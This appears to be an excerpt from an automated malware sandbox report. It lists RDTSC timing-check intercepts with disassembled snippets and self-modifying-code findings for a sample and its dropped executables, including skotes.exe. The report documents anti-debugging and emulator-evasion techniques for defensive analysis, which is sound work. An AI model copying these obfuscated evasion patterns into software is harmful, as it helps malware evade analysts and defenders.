Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B31757 second address: B31761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B7957D second address: B7958B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD2D8EB8E36h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B735FC second address: B73600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B73600 second address: B73604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B7CA4D second address: B7CA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B7CF84 second address: B7CF9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FD2D8EB8E38h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FD2D8EB8E36h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B7CF9D second address: B7D019 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jg 00007FD2D8B2F876h 0x00000011 pop edi 0x00000012 popad 0x00000013 nop 0x00000014 mov edi, dword ptr [ebp+122D1FACh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FD2D8B2F878h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dword ptr [ebp+12468C8Fh], edx 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007FD2D8B2F878h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FD2D8B2F880h 0x00000060 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B7F13F second address: B7F188 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2D8EB8E36h 0x00000008 je 00007FD2D8EB8E36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FD2D8EB8E40h 0x00000015 jns 00007FD2D8EB8E3Eh 0x0000001b popad 0x0000001c js 00007FD2D8EB8E8Bh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD2D8EB8E42h 0x00000029 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B75616 second address: B7561C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8063A second address: B80645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD2D8EB8E36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B7561C second address: B75620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B80645 second address: B8064B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8064B second address: B806E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD2D8B2F888h 0x0000000e nop 0x0000000f jnl 00007FD2D8B2F882h 0x00000015 jng 00007FD2D8B2F87Ch 0x0000001b jmp 00007FD2D8B2F883h 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007FD2D8B2F878h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c mov edi, dword ptr [ebp+122D3997h] 0x00000042 push 00000000h 0x00000044 call 00007FD2D8B2F889h 0x00000049 pop ebx 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jns 00007FD2D8B2F876h 0x00000055 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B806E1 second address: B806E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B818A0 second address: B818B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B818B7 second address: B818BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B818BB second address: B818BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B818BF second address: B818C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B818C9 second address: B8192E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FD2D8B2F878h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov di, 9400h 0x0000002a mov edi, dword ptr [ebp+122D1CD3h] 0x00000030 push 00000000h 0x00000032 jmp 00007FD2D8B2F87Fh 0x00000037 mov dword ptr [ebp+12457B92h], edx 0x0000003d push 00000000h 0x0000003f mov edi, 5568267Eh 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 je 00007FD2D8B2F876h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8192E second address: B81933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B81933 second address: B81938 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B83AF1 second address: B83B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD2D8EB8E36h 0x0000000a popad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007FD2D8EB8E38h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B85A7D second address: B85A82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B85A82 second address: B85A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FD2D8EB8E36h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B85A94 second address: B85A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B85A98 second address: B85A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B85A9E second address: B85AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8B2F886h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B86C09 second address: B86C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B86C0D second address: B86C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F882h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD2D8B2F87Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2D8B2F87Eh 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8085B second address: B80932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007FD2D8EB8E45h 0x0000000c nop 0x0000000d movsx edi, dx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FD2D8EB8E38h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 pushad 0x00000032 mov dword ptr [ebp+122D1A63h], ebx 0x00000038 popad 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 jmp 00007FD2D8EB8E42h 0x00000045 mov ebx, edx 0x00000047 mov eax, dword ptr [ebp+122D0B15h] 0x0000004d mov bx, cx 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push ebp 0x00000055 call 00007FD2D8EB8E38h 0x0000005a pop ebp 0x0000005b mov dword ptr [esp+04h], ebp 0x0000005f add dword ptr [esp+04h], 0000001Ah 0x00000067 inc ebp 0x00000068 push ebp 0x00000069 ret 0x0000006a pop ebp 0x0000006b ret 0x0000006c mov dword ptr [ebp+12453201h], ebx 0x00000072 nop 0x00000073 jnc 00007FD2D8EB8E54h 0x00000079 push eax 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007FD2D8EB8E45h 0x00000082 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B80932 second address: B8093F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD2D8B2F876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B81BC5 second address: B81BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B81BCD second address: B81BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B83CC1 second address: B83CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FD2D8EB8E36h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B83CCB second address: B83CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B84CDF second address: B84CE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B84CE5 second address: B84D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F882h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jmp 00007FD2D8B2F883h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B85CC2 second address: B85CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B86EBB second address: B86ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8B2F881h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B93469 second address: B9346D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B88F2C second address: B88F32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B88F32 second address: B88F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F02 second address: B94F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F06 second address: B94F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F10 second address: B94F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F14 second address: B94F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F1A second address: B94F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F20 second address: B94F2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD2D8EB8E36h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B94F2C second address: B94F6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Bh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD2D8B2F882h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 je 00007FD2D8B2F8A6h 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b jmp 00007FD2D8B2F880h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8BEF2 second address: B8BEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8BEF7 second address: B8BF01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B8BF01 second address: B8BFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D20DCh], esi 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FD2D8EB8E38h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 jg 00007FD2D8EB8E4Dh 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f and ebx, dword ptr [ebp+122D1AF6h] 0x00000045 mov eax, dword ptr [ebp+122D0089h] 0x0000004b push 00000000h 0x0000004d push ebx 0x0000004e call 00007FD2D8EB8E38h 0x00000053 pop ebx 0x00000054 mov dword ptr [esp+04h], ebx 0x00000058 add dword ptr [esp+04h], 00000014h 0x00000060 inc ebx 0x00000061 push ebx 0x00000062 ret 0x00000063 pop ebx 0x00000064 ret 0x00000065 mov dword ptr [ebp+122D19F9h], ebx 0x0000006b push FFFFFFFFh 0x0000006d nop 0x0000006e push eax 0x0000006f push edi 0x00000070 jmp 00007FD2D8EB8E3Bh 0x00000075 pop edi 0x00000076 pop eax 0x00000077 push eax 0x00000078 push edi 0x00000079 push eax 0x0000007a push edx 0x0000007b jnl 00007FD2D8EB8E36h 0x00000081 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B9988A second address: B99893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B99893 second address: B998B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E3Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007FD2D8EB8E36h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B998B2 second address: B998BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B2C393 second address: B2C397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B2C397 second address: B2C3C9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2D8B2F876h 0x00000008 jmp 00007FD2D8B2F87Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007FD2D8B2F884h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B2C3C9 second address: B2C3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B991FB second address: B991FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B991FF second address: B99203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B9D783 second address: B9D787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B9D8A7 second address: B9D8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B9D95C second address: B9D96E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B9D96E second address: B9D97D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2D8EB8E3Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B9D97D second address: B9D981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BA560F second address: BA5615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BA5918 second address: BA5922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BA5922 second address: BA5926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BA5C05 second address: BA5C12 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2D8B2F878h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BA76AF second address: BA76B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B39DA1 second address: B39DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B39DA5 second address: B39DBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E42h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B39DBC second address: B39DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: B39DC2 second address: B39DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BAC7B3 second address: BAC7B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	RDTSC instruction interceptor: First address: BAC7B7 second address: BAC7BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEFD94 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AEFCCA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C99F2A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CA3B1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2DF51 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Special instruction interceptor: First address: 9BEBDC instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Special instruction interceptor: First address: 9BECB9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Special instruction interceptor: First address: BFC64F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 44EBDC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 44ECB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 68C64F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 240CFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 3E2A24 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 408622 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 240CE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Special instruction interceptor: First address: 473800 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Special instruction interceptor: First address: 73FD94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Special instruction interceptor: First address: 73FCCA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Special instruction interceptor: First address: 8E9F2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Special instruction interceptor: First address: 8F3B1D instructions caused by: Self-modifying code
